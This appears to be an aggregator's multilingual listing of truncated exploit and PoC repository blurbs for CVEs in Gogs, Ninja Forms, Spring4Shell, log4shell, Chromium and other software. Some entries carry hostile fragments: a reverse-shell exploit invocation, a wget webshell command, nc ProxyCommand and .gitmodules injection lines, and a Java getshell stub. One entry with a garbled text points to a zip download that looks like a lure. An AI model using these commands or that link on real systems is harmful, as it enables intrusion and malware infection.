CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행 RCE CVE-2026-0740에 대한 익스플로잇, 발견자: Selim Lanouar whattheslime. 완전한 기술적 심층 분석은 Lexfo 블로그의 전체 기사를 참조하십시오. Disclaimer 이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. Overview WordPress용 Ninja Forms - File...

gogs-CVE-2025-8110

Gogs CVE-2025-8110 PoC 이 저장소는 Gogs의 원격 코드 실행RCE 취약점인 CVE-2025-8110에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 내부 SSH 서버 구현을 대상으로 하여, 공격자가 sshCommand 설정을 통해 악성 명령어를 주입할 수 있게 합니다. 사용법 익스플로잇을 실행하려면 CVE-2025-8110.py 스크립트를 대상 Gogs URL 및 리버스 셸을 위한 수신 호스트/포트와 함께 사용하십시오. root@kitploit: python3 CVE-2025-8110.py -u -lh...

CVE-2025-55449

CVE-2025-55449 - AstrBot रिमोट कोड निष्पादन RCE भेद्यता अवलोकन इस रिपॉजिटरी में CVE-2025-55449 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो AstrBot में एक गंभीर रिमोट कोड निष्पादन RCE भेद्यता है। यह भेद्यता एक हमलावर को कमजोर JWT प्रमाणीकरण और प्लगइन स्थापना तंत्र का शोषण करके लक्ष्य सिस्टम पर...

cve-2023-34446

CVE-2023-36664: تنفيذ التعليمات البرمجية عن بُعد في Ghostscript ملخص الثغرة معرّف CVE: CVE-2023-36664 المنتج: Ghostscript 10.01.2 نوع الثغرة: تنفيذ التعليمات البرمجية عن بُعد RCE نظرة عامة تتمثل هذه الثغرة CVE-2023-36664 في ثغرة تنفيذ تعليمات برمجية عشوائية RCE ناتجة عن معالجة غير دقيقة من...

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

Wing FTP Server v8.1.2 содержит уязвимость удаленного выполнения кода RCE в механизме сериализации сессий. Аутентифицированный администратор может внедрить произвольный код Lua через поле mydirectory basefolder администратора домена, который выполняется на стороне сервера через loadfile. Это...

POC-CVE-2025-55182

CVE-2025-55182 Scanner Avancé Un utilitaire d'exploitation complet pour CVE-2025-55182 — Exécution de code à distance via les composants serveur React dans Next.js. Le scanner crée automatiquement la charge utile multipart et abuse de process.mainModule.require'childprocess'.execSync pour exécute...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Tous les scripts d'exploitation doivent être utilisés exclusivement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de...

proofpoint-CVE-2023-0090

Описание Исследователь безопасности: ly1g3, ly1g3attuta.io GPG отпечаток: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Обзор: Удаленное выполнение кода - RCE без аутентификации CVE: CVE-2023-0090 Хронология: Обнаружено - ly1g3 Сообщено - ly1g3 Исправлено...

internet-of-vulnerable-things

Internet des objets vulnérables Les résultats de mon petit mémoire de recherche sur le thème de l'Internet des objets vulnérables. Résumé Ce document fournit une démonstration pratique de l'insécurité de l'Internet des objets en piratant un appareil IoT typique. Plusieurs vulnérabilités ont été...

CVE-2023-51385_test

Validation de CVE-2023-51385 Tout d'abord, ajoutez ce qui suit dans /.ssh/config root@kitploit: Host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Il existe une injection de commande dans la déclaration du fichier .gitmodules root@kitploit: url = ssh://echo helloworld...

log4shell-test-exploit

Тестовый эксплойт CVE-2021-44228 log4shell Подготовка root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git...

CVE-2026-52806

Gogs RCE — Injection d'argument dans git rebase CWE-88 Exécution de code à distance authentifiée contre Gogs est interprétée par Git comme le drapeau --exec plutôt qu'un argument positionnel, ce qui entraîne l'exécution de sh -c après chaque commit rejoué pendant le rebase. Comment l'exploit...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

pinky

वेब शेल अपलोड करना वेब भेद्यता का शोषण करने के बाद लगभग हमेशा अगला कदम होता है, लेकिन Cloudflare जैसी सेवाएं और अगली पीढ़ी के फायरवॉल HTTP या HTTPS के माध्यम से लक्ष्य पर कमांड चलाने से हमलावरों को रोकने में बहुत अच्छा काम करते हैं। दूसरी ओर, टेक्स्ट सामग्री फ़िल्टरिंग और व्हाइटलिस्टिंग एप्लिकेशन...

cve-2017-0143

CVE-2017-0143 - EternalBlue 취약점 공격 📌 설명 이 프로젝트는 교육 및 침투 테스트 목적으로 통제된 환경에서 CVE-2017-0143 취약점EternalBlue을 악용하는 방법을 보여줍니다. 공격은 Metasploit Framework를 사용하여 Windows 7 시스템에서 수행되었습니다. 🔍 CVE-2017-0143 정보 CVE-2017-0143은 Windows 시스템의 SMBv1 프로토콜에 존재하는 심각한 취약점입니다. 특수하게 조작된 패킷을 통해 원격 공격자가 임의 코드를 실행할 수 있으며, 이는 ...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Ejecuta comandos de forma fácil y segura 🚀 Resumen CVE-2025-55182 es una vulnerabilidad en https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip y React Server Components. Este problema permite a...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE y carga de recursos externos encontrado por @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Exploit Solo un ejemplo para colocar una webshell en el directorio actual. root@kitploit: python3 CVE-2023-2255.py --cmd 'wget...

turing-machine

Ejecución de Código Arbitrario en la Máquina de Turing Universal Esta es una implementación de la Máquina de Turing Universal como se presenta en Minsky, Computation: Finite and infinite machines, 1967, Capítulo 7. La entrada predeterminada a la máquina simulada es un exploit que logra la ejecuci...

CVE-2025-2783

Chromium CVE-2025-2783: Escape de Sandbox y Exploit RCE de Cadena Completa Este repositorio contiene una implementación de exploit de cadena completa para CVE-2025-2783. La vulnerabilidad reside en la capa de comunicación Ipcz de Chromium, lo que permite a un atacante lograr el escape de la sandb...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 Generador de artefactos de detección para WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f Consulta nuestra entrada de blog para obtener detalles técnicos Detección en acción root@kitploit: python...